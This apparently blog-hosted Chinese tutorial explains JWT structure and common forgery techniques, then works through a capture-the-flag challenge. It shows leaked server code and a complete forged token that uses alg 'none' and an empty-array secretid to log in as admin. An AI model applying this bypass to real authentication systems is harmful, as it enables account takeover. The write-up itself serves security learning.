您好,登錄后才能下訂單哦!
這篇文章主要講解了“JWT偽造怎么實現”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“JWT偽造怎么實現”吧!
Json web token (JWT), 是為了在網絡應用環境間傳遞聲明而執行的一種基于JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用于分布式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便于從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用于認證,也可被加密。
實際像這么一段數據
這串數據以(.)作為分隔符分為三個部分,依次如下:
Header
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解碼為 { "alg": "HS256", "typ": "JWT" } alg屬性表示簽名的算法(algorithm),默認是 HMAC SHA256(寫成 HS256);typ屬性表示這個令牌(token)的類型(type),JWT 令牌統一寫為JWT
Payload
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 解碼為 { "sub": "1234567890", "name": "John Doe", "iat": 1516239022 } JWT 規定了7個官方字段,供選用 iss (issuer):簽發人 exp (expiration time):過期時間 sub (subject):主題 aud (audience):受眾 nbf (Not Before):生效時間 iat (Issued At):簽發時間 jti (JWT ID):編號
Signature
Signature 部分是對前兩部分的簽名,防止數據篡改。
首先,需要指定一個密鑰(secret)。這個密鑰只有服務器才知道,不能泄露給用戶。然后,使用 Header 里面指定的簽名算法(默認是 HMAC SHA256),按照下面的公式產生簽名。
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )
算出簽名以后,把 Header、Payload、Signature 三個部分拼成一個字符串,每個部分之間用"點"(.)分隔,就可以返回給用戶。
修改算法為none
修改算法從RS256到HS256
信息泄漏 密鑰泄漏
爆破密鑰
首先是一個登錄框,我們先注冊一個賬號admin123,admin123
看題目意思應該是想辦法變成admin來登錄
/** * 或許該用 koa-static 來處理靜態文件 * 路徑該怎么配置?不管了先填個根目錄XD */ function login() { const username = $("#username").val(); const password = $("#password").val(); const token = sessionStorage.getItem("token"); $.post("/api/login", {username, password, authorization:token}) .done(function(data) { const {status} = data; if(status) { document.location = "/home"; } }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function register() { const username = $("#username").val(); const password = $("#password").val(); $.post("/api/register", {username, password}) .done(function(data) { const { token } = data; sessionStorage.setItem('token', token); document.location = "/login"; }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function logout() { $.get('/api/logout').done(function(data) { const {status} = data; if(status) { document.location = '/login'; } }); } function getflag() { $.get('/api/flag').done(function(data) { const {flag} = data; $("#username").val(flag); }).fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
根據注釋符提示可以發現存在源碼泄露問題
接著發現了源碼泄漏
訪問app.js,controller.js,rest.js即可得到源代碼
關鍵代碼controllers/api.js
const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); } if(global.secrets.length > 100000) { global.secrets = []; } const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({ token: token }); await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
嘗試注冊,可以看到在注冊的時候生成了一個token,并存在sessionStorage中
得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q
解密得到:
token生成過程
const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
看看各種條件,這里會先對sid進行驗證,我們需要繞過這條認證,下面還有一個jwt.verify()的驗證并賦值給user
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; ..... .... 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); }
這里的密鑰是生成了18位,基本沒有爆破的可能性,我們使用的方法是將算法(alg)設置為none,接著我們需要讓jwt.verify()驗證中的secret為空,這里有個tricks
$ node > const secrets = [1,2,3,4] undefined > const sid = [] undefined > const secret = secrets[sid] undefined > secret undefined
再看看能不能過條件
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 運行結果 > sid < secrets.length true > sid >= 0 true 我們將header修改 原: { "alg": "HS256", "typ": "JWT" } ===> { "alg": "none", "typ": "JWT" } 并加密為 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 修改payload { "secretid": 1, "username": "admin123", "password": "admin123", "iat": 1587378820 } ===> { "secretid": [], "username": "admin", "password": "admin123", "iat": 1587378820 } 并加密為 eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ
最后使用(.)進行拼接得到偽造的token
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.
修改sessionStorage
接著使用admin,admin123登錄訪問api/flag,即可得到flag
感謝各位的閱讀,以上就是“JWT偽造怎么實現”的內容了,經過本文的學習后,相信大家對JWT偽造怎么實現這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。